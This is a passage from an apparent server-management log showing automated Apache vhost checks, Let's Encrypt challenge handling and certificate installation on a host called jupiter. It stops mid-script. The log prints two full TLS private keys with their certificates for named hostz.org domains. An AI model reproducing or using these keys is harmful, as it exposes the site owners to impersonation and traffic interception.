export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-12 06:01:07:
chmod 755 /tmp/pkp560638; /tmp/pkp560638; rm /tmp/pkp560638
2025-12-12 06:01:07:
.
2025-12-12 06:01:07: Establishing a connection
2025-12-12 06:01:07:
PUT: /tmp/pkp690081
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-12 06:01:08:
chmod 755 /tmp/pkp690081; /tmp/pkp690081; rm /tmp/pkp690081
2025-12-12 06:01:08:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-12 06:01:08:
PUT: /tmp/pkp409022
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:01:08:
chmod 755 /tmp/pkp409022; /tmp/pkp409022; rm /tmp/pkp409022
2025-12-12 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 1307
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:01:08:
PUT: /tmp/pkp924256
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:01:08:
chmod 755 /tmp/pkp924256; /tmp/pkp924256; rm /tmp/pkp924256
2025-12-12 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5365
52:4e:0e:df:23:29:32:ed:19:af:84:98:21:10:26:4d
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBfE/A6OnoT5g+cyEuw4Adcl6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMjMzWhcNMjYwMzEyMDUwMjMyWjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJw/HbxRP3J6M66zyAhLrhO99Qu5DCK9yRj/A5CsipV3YT76QJzH8BJPTmk
/EIbQif0ehuY4b2P4GC0AOkY6R7HM0VNl8XBUuhCXqqoUsLB0RPVSRKRARS4udD/
B8OmJ0+YzTgQ/QHVKOsp5ig8g0SvGHEEm4IrLki9IW1GgBc1zPHI58CFDTxh7g+t
/OhVpJxjwydk3HxnBBtwPcSUb+SNywpOlPv7P4q1frvDMstzWJftqnk4UU9WalGn
pGmrdlhXvZ8cE5O2Rg7cCJF5Y1Vs3iSWs6GMaqm7kQdrmZvgguovijn8Nrj/omCl
fYwPTTvYADjA7h0ic1omlMC1pssCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUhFB+zK0sCcrFZx4t4gyvylAe4IgwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzEyMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJghRAAAEAwBH
MEUCIFba7ON6n1JW3sPyowCUHzTsuWUnHngr55n+NDfosVNqAiEAvbQwnOHbuVL4
WI2vcOgmcOLAupYqTerhoqlXz1xGnZ8AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsRJhAmAAgAAAUAK2Iv5AQDAEgwRgIhAPKVeYsVKYtXQuJg
Vi52IXaT85I8nrvQVmA481oNlHGQAiEApdwjihO4aeQrrihTlcaJS902Epvaxf4E
JwTWmTfxSiYwDQYJKoZIhvcNAQELBQADggEBAKvuthtqv9ryoYXHot9cb3mnFmH6
7QJ9V4z/5HyI8MVf9o1tnn/nBdn8PhCZuAP+gg9yc9fffi6HSdJXhGDFMgrtwVI3
MiN0YroiNfGKbdeda1wQdwVDJa5vM4J4pkF6q2vggC9dQ493OHLceS9dAlonwIyh
/loADu0UuHeAjsaXGVErq6+YIUN7YgfcbBDc9i0dCe3hmoH2Q3a7Hpf7Oeojhdo6
IfE6kGSB/5MhiPAyRP1anON/NSCzZ5xq1W7HDKc4QwllIAEV7rPWcZhar4Z0Ao6H
cZFxUYsA/KnSLxeT8TNYvFGuYknkebbDGDZE69BZBZot0hdel6LegAiRcqA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCycPx28UT9yejO
us8gIS64TvfULuQwivckY/wOQrIqVd2E++kCcx/AST05pPxCG0In9HobmOG9j+Bg
tADpGOkexzNFTZfFwVLoQl6qqFLCwdET1UkSkQEUuLnQ/wfDpidPmM04EP0B1Sjr
KeYoPINErxhxBJuCKy5IvSFtRoAXNczxyOfAhQ08Ye4PrfzoVaScY8MnZNx8ZwQb
cD3ElG/kjcsKTpT7+z+KtX67wzLLc1iX7ap5OFFPVmpRp6Rpq3ZYV72fHBOTtkYO
3AiReWNVbN4klrOhjGqpu5EHa5mb4ILqL4o5/Da4/6JgpX2MD0072AA4wO4dInNa
JpTAtabLAgMBAAECggEAe6ggzKxWCymo09pRPwq/vam7xKbaK2mh6u3+9kLyBLSM
VmPcDX6KOk6GxzO2PHl3VwjstcM0bJEQBPO4zdAdfN6+gQBMdRaLxbh4sfsDn0OB
CCV+BgfGn/2Dh3m0f7jc9SQG0xuyuVpmiND4VlnY/ff5EBkJSyNxZ6bpSzjX+zx8
T/4zZ+fjmVIbB5C93/7auk/vUh3cYfUnh6+axWFcyoESK9LjMhewpeiJbaFPyyrS
2bTKXvb08i50lHjiNi3zaXEvQpJqMKzjdEJHHE3MYnA+VdwB+kcCMfD0AjjCc19C
fUtxkrWzQSBlNrK9H6Riy3En2WkBimyjkqjdbFyDAQKBgQDlzlktJXRIK9ybN13u
M9CjUj8ko5Ru3mpj2SFtQXk6EiHSpOtwDRLvB7vsHQHrAsOd1kWExc/OMBHEk7Z6
7gvAauYEC1ZUDwoJFEN1j3w+JL431KvKFAlpLKWQ9SRUON+O6u6xQSVS3OSfkqmt
fHe76Nlct/lHNkuDBvhFORIBOwKBgQDGx9X7xw8U3+CGVUruXlFbVhP4YEu5a+xt
xXJhSBmHjldtEoVJQElL+Hvajke4ihS06e2RxUIR4lOgLcpAzUnjKRP4U8Y3ocOH
VTP+vvN9wQC3gPeKJJ3ya/o72TUSXKLDZ6h7AYv0dgljclo38dJEQlUn7ix3TtZR
mN8f7QuXsQKBgQDWMCSn0n/2AIOmW819hefRQYg+wwRG7aClnavtJBg0StAhf7s8
/cKG7WN253ZxL2tZwmubG6/a0qzM1ow/OX3Ugw4N+O8me7nzymIxwWGgnih46wyO
1WwMDiPm3sVUhom/sDJ3HWwHNoEUReNGInuKtbVaGNMLT4zD/AwMoOuqHwKBgFtB
BiUNnwjQNfy1Ty7asbKic4yEeH7o4qMKD5ZFSSMH3269H98e2gc8TW9p/dbj3Nmo
wl03FzuqkQVpv/27wH2+L+LCYq7LXj3UiYgbFSDX54JWfE04viG6HCg5cLm7OSVH
gvrlHODfBzRWHMCuDP81DG7GUjd7Q7w118iKQ9YhAoGBAInKzCDEnUMmQH+V/QSr
QOMqDSjTPnatbDav/5BpIh6WHCfc7Lc3J1Zx2MZSxdOJURtK1niWqa8clPlpr3mY
6RnGXkCpIoJJdnGhOy8wahRY7L9jvo39cFKP2eK7xw0LqUUNr2JeU1UnfcMiNo3i
OQXms728zbU18ikLeiP8nMoU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-12 06:01:08: Establishing a connection
2025-12-12 06:01:09: Establishing a connection
2025-12-12 06:01:10:
PUT: /tmp/pkp382095
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-12 06:01:11:
chmod 755 /tmp/pkp382095; /tmp/pkp382095; rm /tmp/pkp382095
2025-12-12 06:01:11:
0
2025-12-13 06:00:01: Establishing a connection
2025-12-13 06:00:03: Establishing a connection
2025-12-13 06:00:04:
PUT: /tmp/pkp943577
#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-13 06:00:05:
chmod 755 /tmp/pkp943577; /tmp/pkp943577; rm /tmp/pkp943577
2025-12-13 06:00:05:
1
2025-12-13 06:00:07: Establishing a connection
2025-12-13 06:00:09:
PUT: /tmp/pkp428865
#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
cat > QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8
2025-12-13 06:00:10:
chmod 755 /tmp/pkp428865; /tmp/pkp428865; rm /tmp/pkp428865
2025-12-13 06:00:10:
2025-12-13 06:00:13: Establishing a connection
2025-12-13 06:00:15:
PUT: /tmp/pkp414181
#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
rm QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8
2025-12-13 06:00:16:
chmod 755 /tmp/pkp414181; /tmp/pkp414181; rm /tmp/pkp414181
2025-12-13 06:00:16:
2025-12-13 06:00:16: Establishing a connection
2025-12-13 06:00:17:
PUT: /tmp/pkp666629
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
7e:6d:1d:c7:8e:1f:c7:35:aa:0f:42:ae:7f:d3:c0:c8
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBZQBtIgrmuVw1O4avHJnbOVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEzMDUwMTQzWhcNMjYwMzEzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC2zOKPTjOiGI77JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe
24dSiPDerSxntpHhozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0
dsrW/Vy/Ec7LIuQ/83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2i
DT53UgCqpuM8PjBUhVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM
8fXIqMMmZ1vxxYt9SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s
563i67TusQfT8c22TBN79E1JAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCnXV/ckVnt1zJ5vAeV6cgn1HlQvMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTE1LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AEmc
m2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZLnl0AAAQDAEgwRgIh
AN/Rv8McrS8PZ44PfbiNiJt2TN413tF1V6AT6RXuU8KqAiEA6IGPJ3KU7o+mGsCe
0BHA/NMrQwC9i4s8Sh5eBJh8fA8AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB
/BxEWMS26AAAAZsWS5/TAAgAAAUAK/513wQDAEcwRQIgBUO+UXa8EHUDKWd42in3
3O16kcuZYsrD1TksrAUBKbgCIQDgnQXnb5TXzdcS5L0Wx3ipgJSiKihbc2uNGhnZ
TSQ9xjANBgkqhkiG9w0BAQsFAAOCAQEAcP6ZkXHY5TukkNhseg5b5ydsAfE7tEa9
N4U6mH4HvbjkNhhYDveHoXDhAKoUkPo2bsaD1Uqslq+fqm0FJHj+HApzbN8ZuV6A
7FOdV3L1vuBJ8xJ3FOx6yhFxVsie62OX7Khn1ltncrH32h0Q4ij+SiqtpKlWIlCV
g4CCoDCfv62E+s+GaNBLzTYglbo1cMQfK498hLbVWU2Zl5bOt6YntBsMnonti5O2
0iQvSLVoppTBRfVMSL+jWWXcNUqC/53RR34V/7Ob9Ryhf0wnZkOQesZa2KY1gbfI
4Y+atjq2A3pVNGRTYj736ccsvuIAN9oieM7A4IlCGcSS26CzodZ0OQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2zOKPTjOiGI77
JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe24dSiPDerSxntpHh
ozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0dsrW/Vy/Ec7LIuQ/
83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2iDT53UgCqpuM8PjBU
hVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM8fXIqMMmZ1vxxYt9
SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s563i67TusQfT8c22
TBN79E1JAgMBAAECggEAeWcnDG+uYPgYdXmQxzdBAiUuZyhUDMFGcpu8clyZM7Mj
wUz5t/5nm6/mvlrQKKK5g7oI5opyVErvJcCmUQF0fraS7LDFrnawyHtdGw+hqRaG
ftxUm3wXinjv48dtwj8mxZOs9gSYp1Z76nEE0miiROLN2dFPt5XgGytMsbFwCxAz
jcIt+F7ceha7CAUNQOtZFdINjrkd3gTFeOy252jaViwLFoC5Et8yg79eK3+keypc
OajGiNR8j0JXt6r43rqCHdkpzuNnP+3LDFV29zTMJL7WbBzGMXQILGL3n8TgTgC9
dVKN/XT6Oa+/aCXpjiheDy37DWxN5w0JlpCs1XstgQKBgQDzs4eQ+I+R/RRHQ6zO
CkrFw9dS0LwqrAs+2bI3Eg1oM1Wl+VwpqEUOud5Tvh0s8cEloSJtOplHNGcfBhK+
xLSsc1Me8UQiIx5LMWfYbVw8KOwotAIvDu91/mq07bfEo7ZhWxydX3umuGUQtILd
RZz584ALwDtGFrA+jCeglNFgkQKBgQDABo15WSSMLD/Ym3KQ0jbPoBqqFRgnR3fi
qmaB1f8lvAUKt30yyGyK4AmZvElh4ZMX9t8bKhYj0P+3b7Dnn1F/LxKUoG+QM4SY
sQB/8ngzT3nBMEoBRKKJNBaj4ZIX+xJ59wVqC1+0rempDctjf1XIXW5jezI1rsUW
YX5Igb99OQKBgFli0iikYtSjRRrWgb2ZHM/pA0OG+F2WeRF2e92jK3O60IFuMxW8
eIfsONXyd3USv0t0DNKPmcT6PZCtg5ahQ7u1GRnSWLFEvEnMN1C03A3c3LIZRGvK
SJ640J7ISo0/lxeieZ5ndU0zeS5lZ1KNxAQSAjdNLPCKRd7LPYWy0BFhAoGBAKnW
IdKuETEZAe8mrZGBG5FPXcYImjBDebk0VS2Ig/5v6VWtLEJ6GeZKeLNMYOr9hAey
BWoVMzfCZilr099IfeArVhe2PnYf2qriAjsnzUA0js9bUlkEx2zqcQvJOlmTaqgM
3vEH1kILf5pR5Q2/VbO9TyEVmTb5uL8uw26Fs0OhAoGATCoF+HpO9TOIJl0WyG5u
QqbxPqxN0M1XYalnb4M7iO098L2DY50kvbufi8dJOejbYcamzsyfrXndgE7beMQC
c4Lgyetk2wAeBIwW9uv9SR/kb/fucRDNAJtiD1CVRQsZP50ZA/tAG0Vb4CqHi1xM
vMVhiqRNI4oLKAKvreM74qo=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
